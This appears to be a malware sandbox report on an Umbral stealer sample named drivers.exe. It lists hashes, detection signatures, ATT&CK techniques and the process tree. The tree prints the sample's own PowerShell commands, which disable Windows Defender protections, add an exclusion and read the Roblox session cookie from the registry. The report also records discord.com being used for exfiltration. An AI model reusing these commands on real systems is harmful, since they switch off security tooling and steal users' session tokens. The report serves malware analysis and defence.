umbral | 5c37ed0542974bf478e1e6ff614395e6110bfc4726494e72f76b62e014bda0ff

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
23/08/2024, 15:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
drivers.exe
Size 229KB
Sample240823-symvdsvejk
SHA256 5c37ed0542974bf478e1e6ff614395e6110bfc4726494e72f76b62e014bda0ff
MD5 8275af467a6e5859869a13eabc03cc15
SHA1 e70d0630ff34f6a1c72ab4343dc01c6dd4c53bc1
SHA512 87497047b564694a15193d6b5e7d13fbfbbeeec2f14993c09a79b52fa9781ede36136d1c688d264ccd2c45ea93d5f372c210ae54066de02e3abf7d15428d4e6a
SSDEEP 6144:lloZMLrIkd8g+EtXHkv/iD4yEay5nsAv4OXZkQlpAb8e1mGi:noZ0L+EP8yEay5nsAv4OXZkQlu4
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

umbral credential_access execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/976-1-0x000002455FD20000-0x000002455FD60000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1224	powershell.exe
468	powershell.exe
384	powershell.exe
4092	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	drivers.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
33	discord.com
34	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1480	wmic.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
976	drivers.exe
1224	powershell.exe
1224	powershell.exe
468	powershell.exe
468	powershell.exe
384	powershell.exe
384	powershell.exe
1056	powershell.exe
1056	powershell.exe
4092	powershell.exe
4092	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	976	drivers.exe
Token: SeIncreaseQuotaPrivilege	1440	wmic.exe
Token: SeSecurityPrivilege	1440	wmic.exe
Token: SeTakeOwnershipPrivilege	1440	wmic.exe
Token: SeLoadDriverPrivilege	1440	wmic.exe
Token: SeSystemProfilePrivilege	1440	wmic.exe
Token: SeSystemtimePrivilege	1440	wmic.exe
Token: SeProfSingleProcessPrivilege	1440	wmic.exe
Token: SeIncBasePriorityPrivilege	1440	wmic.exe
Token: SeCreatePagefilePrivilege	1440	wmic.exe
Token: SeBackupPrivilege	1440	wmic.exe
Token: SeRestorePrivilege	1440	wmic.exe
Token: SeShutdownPrivilege	1440	wmic.exe
Token: SeDebugPrivilege	1440	wmic.exe
Token: SeSystemEnvironmentPrivilege	1440	wmic.exe
Token: SeRemoteShutdownPrivilege	1440	wmic.exe
Token: SeUndockPrivilege	1440	wmic.exe
Token: SeManageVolumePrivilege	1440	wmic.exe
Token: 33	1440	wmic.exe
Token: 34	1440	wmic.exe
Token: 35	1440	wmic.exe
Token: 36	1440	wmic.exe
Token: SeIncreaseQuotaPrivilege	1440	wmic.exe
Token: SeSecurityPrivilege	1440	wmic.exe
Token: SeTakeOwnershipPrivilege	1440	wmic.exe
Token: SeLoadDriverPrivilege	1440	wmic.exe
Token: SeSystemProfilePrivilege	1440	wmic.exe
Token: SeSystemtimePrivilege	1440	wmic.exe
Token: SeProfSingleProcessPrivilege	1440	wmic.exe
Token: SeIncBasePriorityPrivilege	1440	wmic.exe
Token: SeCreatePagefilePrivilege	1440	wmic.exe
Token: SeBackupPrivilege	1440	wmic.exe
Token: SeRestorePrivilege	1440	wmic.exe
Token: SeShutdownPrivilege	1440	wmic.exe
Token: SeDebugPrivilege	1440	wmic.exe
Token: SeSystemEnvironmentPrivilege	1440	wmic.exe
Token: SeRemoteShutdownPrivilege	1440	wmic.exe
Token: SeUndockPrivilege	1440	wmic.exe
Token: SeManageVolumePrivilege	1440	wmic.exe
Token: 33	1440	wmic.exe
Token: 34	1440	wmic.exe
Token: 35	1440	wmic.exe
Token: 36	1440	wmic.exe
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeDebugPrivilege	468	powershell.exe
Token: SeDebugPrivilege	384	powershell.exe
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeIncreaseQuotaPrivilege	1764	wmic.exe
Token: SeSecurityPrivilege	1764	wmic.exe
Token: SeTakeOwnershipPrivilege	1764	wmic.exe
Token: SeLoadDriverPrivilege	1764	wmic.exe
Token: SeSystemProfilePrivilege	1764	wmic.exe
Token: SeSystemtimePrivilege	1764	wmic.exe
Token: SeProfSingleProcessPrivilege	1764	wmic.exe
Token: SeIncBasePriorityPrivilege	1764	wmic.exe
Token: SeCreatePagefilePrivilege	1764	wmic.exe
Token: SeBackupPrivilege	1764	wmic.exe
Token: SeRestorePrivilege	1764	wmic.exe
Token: SeShutdownPrivilege	1764	wmic.exe
Token: SeDebugPrivilege	1764	wmic.exe
Token: SeSystemEnvironmentPrivilege	1764	wmic.exe
Token: SeRemoteShutdownPrivilege	1764	wmic.exe
Token: SeUndockPrivilege	1764	wmic.exe
Token: SeManageVolumePrivilege	1764	wmic.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 976 wrote to memory of 1440	976	drivers.exe	87
PID 976 wrote to memory of 1440	976	drivers.exe	87
PID 976 wrote to memory of 1224	976	drivers.exe	90
PID 976 wrote to memory of 1224	976	drivers.exe	90
PID 976 wrote to memory of 468	976	drivers.exe	92
PID 976 wrote to memory of 468	976	drivers.exe	92
PID 976 wrote to memory of 384	976	drivers.exe	94
PID 976 wrote to memory of 384	976	drivers.exe	94
PID 976 wrote to memory of 1056	976	drivers.exe	96
PID 976 wrote to memory of 1056	976	drivers.exe	96
PID 976 wrote to memory of 1764	976	drivers.exe	98
PID 976 wrote to memory of 1764	976	drivers.exe	98
PID 976 wrote to memory of 1220	976	drivers.exe	100
PID 976 wrote to memory of 1220	976	drivers.exe	100
PID 976 wrote to memory of 1696	976	drivers.exe	102
PID 976 wrote to memory of 1696	976	drivers.exe	102
PID 976 wrote to memory of 4092	976	drivers.exe	104
PID 976 wrote to memory of 4092	976	drivers.exe	104
PID 976 wrote to memory of 1480	976	drivers.exe	106
PID 976 wrote to memory of 1480	976	drivers.exe	106

C:\Users\Admin\AppData\Local\Temp\drivers.exe
"C:\Users\Admin\AppData\Local\Temp\drivers.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:976
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1440
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\drivers.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1056
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1764
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1220
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4092
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe
MD5 a43e653ffb5ab07940f4bdd9cc8fade4
SHA1 af43d04e3427f111b22dc891c5c7ee8a10ac4123
SHA512 62a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2f80bc5cd60c47ca232e6ce7276f2ae3b5311a6538269f2d8af529b8d52a7248
MD5 89867a8578769e850fdad101e8a90341
SHA1 9be713e91cc759698839588f7e8337882d8d0a82
SHA512 3af719c5701c72e7cd87a2e1e3cb30ab45b9e2d25b46312a6b184b1e085939f309e94d77a8b7466e90155c8373bedfc39aa93e985fb5569954db9ee3ba58028d
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 8eac254abadb58e3fe5fec88b3f840b8e5d423655825e5b176e1231d99f75449
MD5 db2625a12b0ac7a5a3d19061d3044856
SHA1 26cbc12ddf70c13c5c0a727d5dc520fb841716e1
SHA512 ea83104720fcb2e9121c17dc1afd29d4dd6b9239b1982a90b63b8a4d007f7794a1fc58851a7fe73821b1344c9cbd08f47457f3e010e2dfe5dc277635578a70da
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a
MD5 88be3bc8a7f90e3953298c0fdbec4d72
SHA1 f4969784ad421cc80ef45608727aacd0f6bf2e4b
SHA512 4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 469da678c3c0364b1b511962cffd44cbfc10aab5c1c528c0c09fd952f08d8a2c
MD5 ec1ba4a995d866b282087b26a0539bbc
SHA1 c4aeae2bc3fa9a898680648b20102f01e8a811cf
SHA512 07bf757ec9d0d368d3ef1bfc2b562895e2708757f8fefa04fa50beaa6fb38af1018ea0cfccf5666c5c8baa4c894deead9652c53e0608aa6a83ef5b396dba43e9
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_gmx3famk.kkv.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gmx3famk.kkv.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/976-71-0x0000024560280000-0x000002456028A000-memory.dmp

Download

memory/976-35-0x00000245601D0000-0x00000245601EE000-memory.dmp

Download

memory/976-90-0x00007FFFFC800000-0x00007FFFFD2C1000-memory.dmp

Download

memory/976-72-0x00000245602B0000-0x00000245602C2000-memory.dmp

Download

memory/976-2-0x00007FFFFC800000-0x00007FFFFD2C1000-memory.dmp

Download

memory/976-33-0x000002457A560000-0x000002457A5D6000-memory.dmp

Download

memory/976-34-0x0000024560210000-0x0000024560260000-memory.dmp

Download

memory/976-0-0x00007FFFFC803000-0x00007FFFFC805000-memory.dmp

Download

memory/976-1-0x000002455FD20000-0x000002455FD60000-memory.dmp

Download

memory/1224-15-0x00007FFFFC800000-0x00007FFFFD2C1000-memory.dmp

Download

memory/1224-14-0x00007FFFFC800000-0x00007FFFFD2C1000-memory.dmp

Download

memory/1224-13-0x000001F09FB40000-0x000001F09FB62000-memory.dmp

Download

memory/1224-12-0x00007FFFFC800000-0x00007FFFFD2C1000-memory.dmp

Download

memory/1224-18-0x00007FFFFC800000-0x00007FFFFD2C1000-memory.dmp

Download